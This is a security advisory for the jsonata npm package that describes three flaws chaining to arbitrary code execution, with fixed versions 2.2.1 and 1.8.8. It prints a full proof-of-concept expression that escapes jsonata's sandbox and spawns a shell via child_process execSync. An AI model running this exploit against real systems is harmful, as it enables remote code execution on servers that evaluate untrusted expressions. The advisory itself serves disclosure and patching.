GHSA-66mm-25pp-rfff

overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

Database specific

{
    "cwe_ids": [
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T21:04:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}

References

Affected packages

npm / jsonata

Package

Name: jsonata; View open source insights on deps.dev
Purl: pkg:npm/jsonata

Affected ranges

Type: SEMVER
Events: Introduced

2.0.0

Fixed

2.2.1

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-66mm-25pp-rfff/GHSA-66mm-25pp-rfff.json"

npm / jsonata

Package

Name: jsonata; View open source insights on deps.dev
Purl: pkg:npm/jsonata

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

1.8.8

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-66mm-25pp-rfff/GHSA-66mm-25pp-rfff.json"